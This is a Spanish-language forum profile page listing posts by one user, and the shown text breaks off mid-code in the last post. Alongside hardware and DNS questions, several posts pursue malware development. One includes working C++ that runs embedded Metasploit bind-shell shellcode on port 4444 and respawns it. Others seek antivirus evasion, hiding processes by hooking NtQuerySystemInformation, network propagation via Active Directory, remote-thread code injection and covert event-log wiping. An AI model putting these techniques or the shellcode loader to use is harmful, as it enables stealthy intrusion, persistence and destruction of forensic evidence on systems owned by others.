Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - APOKLIPTICO

#1
GNU/Linux / Lista de archivos.
24 Enero 2013, 23:24 PM
Hola! Como va todo?
Gente, necesito pedir un favor, estoy haciendo un juego y una parte del mismo es simular un sistema de archivos (sisi, estoy haciendo un simulador de hacking), podrían por favor si no es demasiada molestia pasar un txt con un listado de archivos de su sistema operativo?? Obviamente no necesito ni quiero archivos personales, simplemente una lista de los nombres de los archivos de sistema presentes en su distribución de linux, mi idea es conseguir una buena cantidad de listas para simular distintos sistemas operativos, probablemente windows end user y server y distribuciones de linux.

Repito, revisen que no hayan incluido ningún archivo personal en la lista.

Muchas gracias!!
Saludos
APOKLIPTICO.
#2
Hardware / Uso intensivo del microprocesador.
5 Enero 2013, 18:50 PM
Hola gente! Como va todo??
Estoy crackeando unos hashes en mi pc, tengo un Phenom II 1075T de 6 núcleos.
Cuando empecé distribuí el trabajo en los núcleos para aumentar performance, es decir, 1-5 caracteres en un núcleo, 6 caracteres en otro núcleo y asi hasta ocupar los 6 núcleos.
Naturalmente los trabajos mas cortos ya terminaron y ahora sólo estoy ocupando 3 de los 6 núcleos.
El sistema está completamente estable, y la temperatura del micro está entre 64 y 69 la medición externa y entre 68 y 75 la interna.

Por ahora hace dos días y 9 horas que está corriendo y probablemente lo haga correr hasta que termine al menos uno más de los trabajos que según el ETA va a ser el 12 de enero a las 20 hs. Es decir que va a estar corriendo aproximadamente una semana más.
Me gustaría saber si esto va a considerablemente reducir la vida util del microprocesador o éste está preparado para soportar semejantes cargas.

Todos los parámetros de clocking están stock, es decir no hay overclocking.

Muchas gracias
Un abrazo
APOKLIPTICO
#3
Hardware / Overclocking y tests de performance.
25 Diciembre 2012, 19:50 PM
Hola gente! Como va tanto tiempo??
Feliz Navidad, Hannukka, Saturnalia o cualquier otra festividad que coincida aproximadamente en el solsticio de verano.

Hoy les traigo algunas dudas sobre overclocking y tests de performance.
Por ahora la configuración que tengo es la siguiente:
AMD Phenom II 1075T X6. Stock 3000 Mhz (200 x 15) @ 3300 Mhz (300 x 11).
ASUS M4A89GTD-PRO/USB3.
CPU/NB Link = 2100 Mhz.
HT Link = 2100 Mhz.
PCIE Speed = 100 Mhz (Stock).
Memorias G.Skill RipjawsX:
DDR3 1600 Mhz 7-8-7-24-1T. (Configuración stock especial no SPD).

Voltajes:
Vcore (1.325 en Bios): 1.332 - 1.368 (Con carga).
Vdimm: 1.65 (1.5 Stock).
CPU/NB Voltage: 1.325 (1.15 stock).
VDDA: 2.7 V.

Okay ahora les traigo mis dudas:
1) Las memorias están funcionando en single channel, las puse asi porque no pueden funcionar en dual channel correctamente, quería saber si la pérdida de performance es muy grande o si realmente no importa.

2) Sirve de algo tener el bus con un 50% de overclock si el multiplicador apenas overclockea el micro??

3) Asumo que aumentar valores como el HT link o el CPU/NB link o el bus, aumenta la tasa de transferencia de datos entre el microprocesador y las memorias, entre otras cosas. Ahora, para testear la performance (y estabilidad) estuve utilizando el linX, pero realmente me da la sospecha de que el linX testea más que nada la performance de el micro, y los GFLOPS que te muestra ahi, solamente van a subir si aumento la velocidad del micro. Hay alguna manera de saber el aumento de performance integral en todo el sistema?? (Sacando de la ecuación al disco duro claro está), mi idea es compararlo con la performance Stock y ver si vale la pena.

4) En cuanto a la performance de las memorias: Es mejor reducir latencias o aumentar frecuencias?? Por ejemplo ahora están funcionando a 1600 Mhz a 7-8-7-24-1T, podría hacerlas funcionar (supongo) a 9-9-9 pero a 2000 Mhz.

5) Alguna otra sugerencia en cuanto al overclock??

Saludos y gracias.
APOKLIPTICO.

PD: agrego una sexta pregunta: Puedo subir el CPU/NB Link hasta 3000. Me serviría de algo??
#4
Redes / Problemas con DNS y Windows 2003 Server.
28 Noviembre 2012, 18:56 PM
Hola!! Tengo una pequeña red montada sobre VMWare Workstation para pruebas.
Esta está compuesta por:
- Servidor con Win2003 Server con dos adaptadores. Uno conectado a internet y el otro conectado a un segmento de red. En este tengo instalado un servidor DNS, DHCP, WINS y Active Directory con un dominio. Utilizo network address translation (NAT) para repartir el internet al resto de las pcs del segmento (Como si fuese un router).
- Cliente con Windows 7 conectado al segmento y parte del dominio.
- 2 x Cliente con Windows XP conectado al segmento y parte del dominio.

El adaptador que se conecta a internet tiene la IP 192.168.1.104 (Asignada por mi router) y el que actúa como router tiene la IP 192.168.2.1 y trabaja en la subnet 192.168.2.100-254.

Todo anda perfecto, tanto el DHCP, WINS, AD como el DNS en todos los clientes. El problema es la resolución de nombres en el servidor. Tarda siglos en resolver. Esto no ocurre en los clientes, en los cuales la resolución es muy rápida. En el servidor si utilizo nslookup la resolución es tan rápida como en los clientes, pero si por ejemplo hago "ping www.google.com" tarda mucho (13-15 segundos) en resolver la dirección.
Posteo la salida de los comandos ipconfig /all y route print del servidor.

Código (dos) [Seleccionar]
Windows IP Configuration

   Host Name . . . . . . . . . . . . : apok-server
   Primary Dns Suffix  . . . . . . . : apokliptico.net
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : Yes
   WINS Proxy Enabled. . . . . . . . : No
   DNS Suffix Search List. . . . . . : apokliptico.net
                                       

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : XX-XX-XX-XX-E3-E5
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : 192.168.2.1
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   IP Address. . . . . . . . . . . . : fe80::250:56ff:fe37:e3e5%4
   Default Gateway . . . . . . . . . : 192.168.1.1
   DNS Servers . . . . . . . . . . . : 127.0.0.1
                                       fec0:0:0:ffff::1%2
                                       fec0:0:0:ffff::2%2
                                       fec0:0:0:ffff::3%2
   Primary WINS Server . . . . . . . : 192.168.2.1

Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #
2
   Physical Address. . . . . . . . . : XX-XX-XX-XX-0D-B0
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   IP Address. . . . . . . . . . . . : 192.168.1.104
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   IP Address. . . . . . . . . . . . : fe80::250:56ff:fe37:db0%5
   Default Gateway . . . . . . . . . : 192.168.1.1
   DHCP Server . . . . . . . . . . . : 192.168.1.1
   DNS Servers . . . . . . . . . . . : 127.0.0.1
                                       fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   Lease Obtained. . . . . . . . . . : Miércoles, 28 de Noviembre de 2012 03:48:
22 a.m.
   Lease Expires . . . . . . . . . . : Jueves, 29 de Noviembre de 2012 03:48:22
a.m.

Tunnel adapter Teredo Tunneling Pseudo-Interface:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Teredo Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : FF-FF-FF-FF-FF-FF-FF-FF
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : fe80::ffff:ffff:fffd%6
   Default Gateway . . . . . . . . . :
   NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Automatic Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : XX-XX-02-01
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : fe80::5efe:192.168.2.1%2
   Default Gateway . . . . . . . . . :
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%2
                                       fec0:0:0:ffff::2%2
                                       fec0:0:0:ffff::3%2
   NetBIOS over Tcpip. . . . . . . . : Disabled

Tunnel adapter Automatic Tunneling Pseudo-Interface:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Automatic Tunneling Pseudo-Interface
   Physical Address. . . . . . . . . : XX-XX-01-68
   DHCP Enabled. . . . . . . . . . . : No
   IP Address. . . . . . . . . . . . : fe80::5efe:192.168.1.104%2
   Default Gateway . . . . . . . . . :
   DNS Servers . . . . . . . . . . . : fec0:0:0:ffff::1%1
                                       fec0:0:0:ffff::2%1
                                       fec0:0:0:ffff::3%1
   NetBIOS over Tcpip. . . . . . . . : Disabled

C:\Documents and Settings\Administrator>route print

IPv4 Route Table
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x2 ...XX XX XX XX e3 e5 ...... Intel(R) PRO/1000 MT Network Connection - Packet
Scheduler Miniport
0x3 ...XX XX XX XX 0d b0 ...... Intel(R) PRO/1000 MT Network Connection #2 - Pac
ket Scheduler Miniport
===========================================================================
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.1.1      192.168.2.1     10
          0.0.0.0          0.0.0.0      192.168.1.1    192.168.1.104     10
        127.0.0.0        255.0.0.0        127.0.0.1        127.0.0.1      1
      192.168.0.0      255.255.0.0      192.168.2.1      192.168.2.1     10
      192.168.1.0    255.255.255.0    192.168.1.104    192.168.1.104     10
    192.168.1.104  255.255.255.255        127.0.0.1        127.0.0.1     10
    192.168.1.255  255.255.255.255    192.168.1.104    192.168.1.104     10
      192.168.2.1  255.255.255.255        127.0.0.1        127.0.0.1     10
    192.168.2.255  255.255.255.255      192.168.2.1      192.168.2.1     10
        224.0.0.0        240.0.0.0    192.168.1.104    192.168.1.104     10
        224.0.0.0        240.0.0.0      192.168.2.1      192.168.2.1     10
  255.255.255.255  255.255.255.255    192.168.1.104    192.168.1.104      1
  255.255.255.255  255.255.255.255      192.168.2.1      192.168.2.1      1
Default Gateway:       192.168.1.1
===========================================================================
Persistent Routes:
  None

Persistent Routes:
  None
#5
Programación C/C++ / Detectar nuevos procesos?
22 Noviembre 2012, 04:14 AM
Hola! Quería saber si había alguna manera de detectar la creación de nuevos procesos sin utilizar Drivers (a nivel usuario), ni andar enumerando los procesos para ver si cambian ya que es intensivo para el procesador.

Gracias!!
Un abrazo
APOKLIPTICO.
#6
Hola!! Como va?
Bueno, estoy trabajando en un virus que está funcionando bien, el problema es que estoy tratando de hacerlo indetectable (más indetectable por ahora tengo un 5/42) pero ya no se como.
Lo está detectando por heurística, se que no es por emulación de código sino probablemente por firmas.
Hay alguna manera de obfuscarlo sin necesidad de recurrir a un crypter con su stub??
Gracias!!
#7
Okay replanteo la pregunta.
Estoy tratando de hacer un hook desde un programa de 32 bits a uno de 64.

Traté de modificar la zona donde está el call a la función que quiero hookear (ntQuerySystemInformation) primero desprotegiéndola con virtualprotectEx, pero este me tira error 487 (INVALID ADDRESS) lo que me llevó a pensar que puede ser que esté tomando mal la dirección, la cual saqué utilizando getprocaddress desde el programa de 32 bits. Hay alguna manera de traducirlas de 32 a 64 bits para poder utilizarlas??

También probé ejecutando la función que hace el hook desde el programa de 64 bits utilizando CreateRemoteThread, pero me da un error 5 (ACCESS DENIED).
Alguna idea
Gracias!
Un abrazo
APOKLIPTICO.
#8
Hola! Estoy desarrollando un programa para hacer api hooking sin necesidad de dll injection, es decir, con code injection. Por ahora funciona bien en la api EnumProcesses y OpenProcess, mi técnica se basa en antes de poner el hook a mi función inyectada, copio la llamada original a una parte (previamente desprotegida para la ejecución con virtualprotect()) asignada de la memoria y después cuando llaman a mi función, directamente redirijo los parámetros y llamo a la función original. Después de esto, manipulo la salida y devuelvo la información según sea conveniente.

El problema es que cuando trato de hacerlo con ntQuerySystemInformation, que es la función que utiliza el task manager para ver los procesos, me da un error de access violation cuando trata de acceder a "00000000". El hook funciona perfecto y todo se ejecuta según corresponde. Acá les dejo dónde es el fallo:

Código (asm) [Seleccionar]
00A30079  ^75 C2            JNZ SHORT 00A3003D
00A3007B   8D4424 1C        LEA EAX,DWORD PTR SS:[ESP+1C]
00A3007F   8B5424 20        MOV EDX,DWORD PTR SS:[ESP+20]
00A30083   8B4C24 2C        MOV ECX,DWORD PTR SS:[ESP+2C]
00A30087   8D1411           LEA EDX,DWORD PTR DS:[ECX+EDX]
00A3008A   42               INC EDX
00A3008B   8910             MOV DWORD PTR DS:[EAX],EDX
00A3008D   8B4424 1C        MOV EAX,DWORD PTR SS:[ESP+1C]
00A30091   85C0             TEST EAX,EAX
00A30093   0F84 A3000000    JE 00A3013C
00A30099   8B5424 1C        MOV EDX,DWORD PTR SS:[ESP+1C]
00A3009D   8B4424 58        MOV EAX,DWORD PTR SS:[ESP+58]
00A300A1   894424 08        MOV DWORD PTR SS:[ESP+8],EAX
00A300A5   8B4424 54        MOV EAX,DWORD PTR SS:[ESP+54]
00A300A9   894424 04        MOV DWORD PTR SS:[ESP+4],EAX
00A300AD   8B4424 50        MOV EAX,DWORD PTR SS:[ESP+50]
00A300B1   890424           MOV DWORD PTR SS:[ESP],EAX
00A300B4   FFD2             CALL EDX                 -------->> Aca se llama a la call original guardada en la heap.
00A300B6   83EC 0C          SUB ESP,0C
00A300B9   884424 3B        MOV BYTE PTR SS:[ESP+3B],AL
00A300BD   C74424 30 000000>MOV DWORD PTR SS:[ESP+30],0
00A300C5   EB 52            JMP SHORT 00A30119
-----------------------------------------------------------------------
00A30119   8B4424 58        MOV EAX,DWORD PTR SS:[ESP+58]
00A3011D   8B00             MOV EAX,DWORD PTR DS:[EAX]  --->> Aca trata de asignar el valor de EAX, pero este tiene el valor "00000000"
00A3011F   C1E8 02          SHR EAX,2
00A30122   3B4424 30        CMP EAX,DWORD PTR SS:[ESP+30]
009E0122   3B4424 30        CMP EAX,DWORD PTR SS:[ESP+30]
009E0126   0F97C0           SETA AL
009E0129   84C0             TEST AL,AL
009E012B  ^75 9A            JNZ SHORT 009E00C7
009E012D   8B4424 58        MOV EAX,DWORD PTR SS:[ESP+58]
009E0131   8B00             MOV EAX,DWORD PTR DS:[EAX]
009E0133   8D50 FC          LEA EDX,DWORD PTR DS:[EAX-4]
009E0136   8B4424 58        MOV EAX,DWORD PTR SS:[ESP+58]
009E013A   8910             MOV DWORD PTR DS:[EAX],EDX
009E013C   8A4424 3B        MOV AL,BYTE PTR SS:[ESP+3B]
009E0140   83C4 4C          ADD ESP,4C
009E0143   C2 0C00          RETN 0C


Esta es la llamada a la función que luego es reemplazada por JMP (Address función):

Código (asm) [Seleccionar]
7C90D92E > B8 AD000000      MOV EAX,0AD
7C90D933   BA 0003FE7F      MOV EDX,7FFE0300
7C90D938   FF12             CALL DWORD PTR DS:[EDX]
7C90D93A   C2 1000          RETN 10


Alguien puede darme una mano con esto??
Muchas gracias!
APOKLIPTICO.
#9
Hola! Como va? Bueno, estoy teniendo problemas con lo siguiente, necesito que mi programa spawnee una shell en el puerto 4444.
Para esto, utilicé el payload bind_tcp en el puerto 4444, con el parámetro exit mode en "Thread" para que cierre el thread una vez que se termina.

Este es el código que utilicé:
Código (cpp) [Seleccionar]
#include <process.h>
#include <iostream>
void SpawnShell(void *dummy);
using namespace std;
char szShellPayload[] = "\xdd\xc2\xba\x9f\xde\x8a\x09\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x56\x31\x50\x18\x03\x50\x18\x83\xe8\x63\x3c\x7f\xf5\x73\x48\x80\x06\x83\x2b\x08\xe3\xb2\x79\x6e\x67\xe6\x4d\xe4\x25\x0a\x25\xa8\xdd\x99\x4b\x65\xd1\x2a\xe1\x53\xdc\xab\xc7\x5b\xb2\x6f\x49\x20\xc9\xa3\xa9\x19\x02\xb6\xa8\x5e\x7f\x38\xf8\x37\x0b\xea\xed\x3c\x49\x36\x0f\x93\xc5\x06\x77\x96\x1a\xf2\xcd\x99\x4a\xaa\x5a\xd1\x72\xc1\x05\xc2\x83\x06\x56\x3e\xcd\x23\xad\xb4\xcc\xe5\xff\x35\xff\xc9\xac\x0b\xcf\xc4\xad\x4c\xe8\x36\xd8\xa6\x0a\xcb\xdb\x7c\x70\x17\x69\x61\xd2\xdc\xc9\x41\xe2\x31\x8f\x02\xe8\xfe\xdb\x4d\xed\x01\x0f\xe6\x09\x8a\xae\x29\x98\xc8\x94\xed\xc0\x8b\xb5\xb4\xac\x7a\xc9\xa7\x09\x23\x6f\xa3\xb8\x30\x09\xee\xd4\xf5\x24\x11\x25\x91\x3f\x62\x17\x3e\x94\xec\x1b\xb7\x32\xea\x5c\xe2\x83\x64\xa3\x0c\xf4\xad\x60\x58\xa4\xc5\x41\xe0\x2f\x16\x6d\x35\xff\x46\xc1\xe5\x40\x37\xa1\x55\x29\x5d\x2e\x8a\x49\x5e\xe4\xbd\x4d\x90\xdc\xee\x39\xd1\xe2\x01\xe6\x5c\x04\x4b\x06\x09\x9e\xe3\xe4\x6e\x17\x94\x17\x45\x0b\x0d\x80\xd1\x45\x89\xaf\xe1\x43\xba\x1c\x49\x04\x48\x4f\x4e\x35\x4f\x5a\xe6\x3c\x68\x0d\x7c\x51\x3b\xaf\x81\x78\xab\x4c\x13\xe7\x2b\x1a\x08\xb0\x7c\x4b\xfe\xc9\xe8\x61\x59\x60\x0e\x78\x3f\x4b\x8a\xa7\xfc\x52\x13\x25\xb8\x70\x03\xf3\x41\x3d\x77\xab\x17\xeb\x21\x0d\xce\x5d\x9b\xc7\xbd\x37\x4b\x91\x8d\x87\x0d\x9e\xdb\x71\xf1\x2f\xb2\xc7\x0e\x9f\x52\xc0\x77\xfd\xc2\x2f\xa2\x45\xfc\xde\x7e\x50\x69\x79\xeb\x19\xf7\x7a\xc6\x5e\x0e\xf9\xe2\x1e\xf5\xe1\x87\x1b\xb1\xa5\x74\x56\xaa\x43\x7a\xc5\xcb\x41;\xbb\x6c\x09\x32\x41\xdb\xc9\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x56\x31\x5f\x13\x03\x5f\x13\x83\xc7\x68\xeb\xc7\xbd\x98\x62\x27\x3e\x58\x15\xa1\xdb\x69\x07\xd5\xa8\xdb\x97\x9d\xfd\xd7\x5c\xf3\x15\x6c\x10\xdc\x1a\xc5\x9f\x3a\x14\xd6\x11\x83\xfa\x14\x33\x7f\x01\x48\x93\xbe\xca\x9d\xd2\x87\x37\x6d\x86\x50\x33\xdf\x37\xd4\x01\xe3\x36\x3a\x0e\x5b\x41\x3f\xd1\x2f\xfb\x3e\x02\x9f\x70\x08\xba\x94\xdf\xa9\xbb\x79\x3c\x95\xf2\xf6\xf7\x6d\x05\xde\xc9\x8e\x37\x1e\x85\xb0\xf7\x93\xd7\xf5\x30\x4b\xa2\x0d\x43\xf6\xb5\xd5\x39\x2c\x33\xc8\x9a\xa7\xe3\x28\x1a\x64\x75\xba\x10\xc1\xf1\xe4\x34\xd4\xd6\x9e\x41\x5d\xd9\x70\xc0\x25\xfe\x54\x88\xfe\x9f\xcd\x74\x51\x9f\x0e\xd0\x0e\x05\x44\xf3\x5b\x3f\x07\x9c\xa8\x72\xb8\x5c\xa6\x05\xcb\x6e\x69\xbe\x43\xc3\xe2\x18\x93\x24\xd9\xdd\x0b\xdb\xe1\x1d\x05\x18\xb5\x4d\x3d\x89\xb5\x05\xbd\x36\x60\x89\xed\x98\xda\x6a\x5e\x59\x8a\x02\xb4\x56\xf5\x33\xb7\xbc\x80\x73\x79\xe4\xc1\x13\x78\x1a\xf4\xbf\xf5\xfc\x9c\x2f\x50\x56\x08\x92\x87\x6f\xaf\xed\xed\xc3\x78\x7a\xb9\x0d\xbe\x85\x3a\x18\xed\x2a\x92\xcb\x65\x21\x27\xed\x7a\x6c\x0f\x64\x43\xe7\xc5\x18\x06\x99\xda\x30\xf0\x3a\x48\xdf\x00\x34\x71\x48\x57\x11\x47\x81\x3d\x8f\xfe\x3b\x23\x52\x66\x03\xe7\x89\x5b\x8a\xe6\x5c\xe7\xa8\xf8\x98\xe8\xf4\xac\x74\xbf\xa2\x1a\x33\x69\x05\xf4\xed\xc6\xcf\x90\x68\x25\xd0\xe6\x74\x60\xa6\x06\xc4\xdd\xff\x39\xe9\x89\xf7\x42\x17\x2a\xf7\x99\x93\x00\xc2\xc3\xb9\x3c\x6b\x96\xff\x20\x8c\x4d\xc3\x5c\x0f\x67\xbc\x9a\x0f\x02\xb9\xe7\x97\xff\xb3\x78\x72\xff\x60\x78\x57";
int main()
{
   _beginthread(SpawnShell, 0, 0);
   system("pause");
   return 0;
}

void SpawnShell(void *dummy)
{
   void *vPayload = VirtualAlloc(0, sizeof(szShellPayload)-2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   memcpy(vPayload, szShellPayload, sizeof(szShellPayload)-2);
   HANDLE hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
   do
   {
       Sleep(2000);
       DWORD dwExit = 0;
       cout << (DWORD) hThread << endl << GetExitCodeThread(hThread, &dwExit) << endl << dwExit << endl;
       if(GetThreadPriority(hThread) == THREAD_PRIORITY_ERROR_RETURN) hThread = (void*) _beginthread((void (*) (void*)) vPayload, 0, 0);
   }while(true);
}


El programa funciona bien, pero el problema es que cuando cierro la shell una vez que la usé, en vez de cerrar correctamente, se queda trabado el thread en vez de llamar a la función devuelta.
Esto me devuelve:
(la dirección de hThread)
1
0

Y no cambia cuando cierro la shell.

Necesito que una vez que se cerró la shell, esta se spawnee devuelta. Cómo puedo hacer esto?? qué estoy haciendo mal?
Gracias!
APOKLIPTICO.

PD: El metasploit permite elegir otros métodos para terminar el shellcode, pero:
Process: Cierra el proceso, lo cual no quiero.
Seh (Structured Exception Handler): Salta un error en tiempo de ejecución.
None: Salta un error en tiempo de ejecución.
#10
Hola! Como va, bueno, como todos sabemos, hay varias maneras que utilizan los AVs para saber si algo es un virus o no lo es. Tenemos las Firmas detectadas, firmas probables, heurística y emulación de código.
La pregunta principal es si hay una manera de saber con algún programa o método qué método utilizó el anti virus para detectar un virus.

La segunda pregunta es cómo puedo hacer para evadir la emulación de código, es decir, maneras de por ejemplo, cerrarse al descubrir emulación o hacerlo tan pesado que el AV se resigne al tratar de emularlo (pidiendo demasiados recursos por ejemplo).

Un abrazo
APOKLIPTICO.
#11
Hola! Como va, estoy desarrollando un programa y me gustaría saber si es posible hacer que todas las llamadas estáticas a APIs se conviertan en dinámicas, es decir, poder cargarlas en tiempo de ejecución. La razón es que quiero obfuscar las apis para que no aparezcan adentro del ejecutable si uno lo abriese con un editor hexadecimal. Hay alguna manera de hacer esto que no sea manualmente hacer todas las llamadas en el código??

Un abrazo
APOKLIPTICO.
#12
Buenas! Tengo un problema con la función LogonUser
Estoy utilizando estas funciones.

Código (cpp) [Seleccionar]
#include <iostream>
#include <windows.h>
#define LOGON32_LOGON_NEW_CREDENTIALS 9
#define LOGON32_PROVIDER_WINNT50 3
#define REMOTE_USER_S "Administrador"
#define REMOTE_PASS_S "password"
using namespace std;

int main()
{
   HANDLE hToken;
   bool bAnswer = false;
   bAnswer = LogonUser(REMOTE_USER_S, (char*) ".", REMOTE_PASS_S, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_WINNT50, &hToken);
   cout << bAnswer << endl;
   HANDLE hToken2;
   bAnswer = DuplicateToken(hToken, SecurityImpersonation, &hToken2);
   cout << bAnswer << endl;
   bAnswer = ImpersonateLoggedOnUser(hToken2);
   cout << bAnswer << endl;
   HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
   if(hSCManager == NULL) cout << "Error! " << GetLastError() << endl;
   return 0;
}


Este código devuelve
1
1
1
Error! 5 (Acceso denegado).

Pasa lo mismo si le pongo la contraseña válida o una inválida.

Como puedo hacer para asegurarme que el usuario haya sido correctamente logueado y cargado, es decir, como puedo hacer para comprobar que las credenciales que se le proveen (Usuario y contraseña, en este caso no hay dominio) son válidas.

Esto lo quiero utilizar para acceder a recursos de red que sólo están disponibles bajo ciertos usuarios.

Un saludo
APOKLIPTICO.

PD: Pasa lo mismo sino utilizo DuplicateToken.
#13
Hola! Como va todo? Estaba buscando una manera de limpiar el visor de eventos, en windows Vista, Seven y 2008 hay una API que es EvtClearLog para esto, el problema que en XP y 2003 esta API no existe y no pude encontrar una equivalente.

Hay alguna manera de limpiar el visor de eventos en windows XP y 2003 que sea compatible con Windows Vista, Seven y 2008 mediante APIs o haciendo una llamada a un programa externo??

Saludos
APOKLIPTICO
#15
Hola! Estoy trabajando con winpcap, el tema es que solo permite escuchar en un solo adaptador a la vez, para resolver esto, estaba pensando en utilizar threads, cada uno con un adaptador distinto.
El tema es que no puedo pasarle correctamente el parámetro, que es un array de chars.
Probe varias combinaciones pero no puedo hacer que funcione, a ver si alguien me puede hechar una mano en esto.
Dejo el código:

Código (cpp) [Seleccionar]
int main(int argc, char* argv[])
{
    pcap_if_t *alldevs;
    pcap_if_t *d;
    char errbuf[PCAP_ERRBUF_SIZE];
    pcap_findalldevs(&alldevs, errbuf);
    int i = 0;
    for(d=alldevs; d; d=d->next, i++);
    HANDLE *hThreads = new HANDLE[i];
    for(d=alldevs; d; d=d->next)
    {
        char *pszIname = new char[strlen(d->name)];
        ZeroMemory(pszIname, strlen(d->name));
        strcpy(pszIname, d->name);
        hThreads[i] = (HANDLE) _beginthread((void (*)(void*))HandleAdapter, 0, (void*) pszIname);
        delete pszIname;
        break;
    }
    for(int j = 0; j < i; j++)
    {
        if(hThreads[i] != NULL) WaitForSingleObject(hThreads[j], INFINITE);
        else cout << "Thread " << i << " Failed." << endl;
    }
    delete hThreads;
    pcap_freealldevs(alldevs);
    return 0;
}

int HandleAdapter(void *di)
{
    char *d = (char*) di;
    cout << d << endl;
    return 0;
}


Muchas gracias!
APOKLIPTICO.
#16
Hola! Estuve utilizando la librería winpcap para ver los paquetes en formato raw de un determinado adaptador, hasta ahora todo bien, pero ahora quería saber como modificar dichos paquetes, aparentemente winpcap no permite hacer esto. Sin embargo, muchas herramientas como por ejemplo Cain, utilizan winpcap y sin utilizar drivers ni aparentemente ninguna otra librería, modifican paquetes al vuelo (por ejemplo cuando spoofean los certificados https o los challenges de las conexiones SMB).

Alguien sabe como puedo hacer para modificar con winpcap los paquetes o conoce alguna librería que me pueda ayudar a cumplir dicha tarea??
Estoy trabajando bajo windows XP/Vista/7/2000/2003/2008.

Muchas gracias!
APOKLIPTICO.
#17
Holas! Como va todo?
Estaba pensando que un buen método para propagarse por red es la utilización del Active Directory en las redes con dominio y el usuario por defecto del mismo, que en teoría debería tener acceso administrativo a todas las pcs del dominio.
Ahora, mi pregunta es: Lo que estoy asumiendo es correcto??
Qué otros métodos de propagación se les ocurre que no involucre la explotación de vulnerabilidades conocidas como la MS08-067??

Un saludo
APOKLIPTICO.
#18
Hola! Como va todo? Bueno, estuve teniendo un problema con mi pc, el tema es que trato de poner las memorias que tengo 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) a 1.5V. En dual channel y no arranca la pc, me da error de overclocking, en raras ocasiones arranca y se cuelga en el inicio del SO.
Ahora, cuando las uso en single channel, funcionan perfectamente...
Alguien sabe por qué puede estar sucediendo esto??
Los timings son los de fábrica.

Saludos
APOKLIPTICO.
#19
Hola! Estoy programando una utilidad que escanea los hosts que están activos y con determinados puertos abiertos, el problema es que le desactivé el bloqueo al sock y le puse un timeout, pero si tratas de abrir una conexion nueva, falla sin importar el timeout.

Hay alguna manera de saber el máximo de conexiones a medio abrir?? Asi puedo hacer las conexiones y después esperar que se cierren y luego volver abrir otro juego de conexiones.

Gracias!
Un abrazo
APOKLIPTICO.
#20
Hola! Como va? Me estoy carcomiendo la cabeza con un problema, estoy tratando de hacer un programa que cierre el registro de eventos (servicio eventlog) o que en su defecto, permita el acceso de escritura para los archivos de registro (.evt). Cabe aclarar que necesito eliminarlos de manera segura (con sobreescritura previa), osea que la opción de eliminar el registro de eventos no es viable.

Para esto se me ocurrieron dos maneras:

1) Cerrar el eventlog, para esto sería necesario de alguna manera cerrarlo sin matar el proceso services.exe que es escencial para windows, parece como si fuese un thread dentro del proceso services.exe. Cabe aclarar que no se puede cerrar el servicio ya que la llamada a ControlService() con la flag SERVICE_CONTROL_STOP devuelve un error ERROR_INVALID_SERVICE_CONTROL ya que el sistema lo marca como escencial.

2) Hacer una llamada a CloseHandle dentro del proceso services.exe llamando a las handles de los archivos, o desbloquear su acceso exclusivo de alguna manera. Estuve intentando con code injection pero todavía no pude hacerlo funcionar ya que crashea el proceso en el que se inyecta (en este caso estuve tratando de inyectar un winamp.exe) durante la llamada a createremotethread:

Código (cpp) [Seleccionar]

   HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, false, 4492);
   if(!hProcess) return GetLastError();
   DWORD iFuncSize = (DWORD) test - (DWORD) UnloadEvtLog;
   void *pAddress = VirtualAllocEx(hProcess, 0, iFuncSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
   if(!pAddress)
   {
       CloseHandle(hProcess);
       return GetLastError();
   }
   if (!WriteProcessMemory(hProcess, pAddress, (void *)test, iFuncSize, 0 ) )
   {
       CloseHandle(hProcess);
       VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
       return GetLastError();
   }
   HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pAddress, 0, 0, NULL);
   WaitForSingleObject(hThread,INFINITE);
   CloseHandle(hThread);
   VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
   return ERROR_SUCCESS;


La funcion de prueba es la siguiente:

Código (cpp) [Seleccionar]
void test()
{
   char szPID[1000];
   ZeroMemory(szPID, 10);
   itoa(GetCurrentProcessId(), szPID, 10);
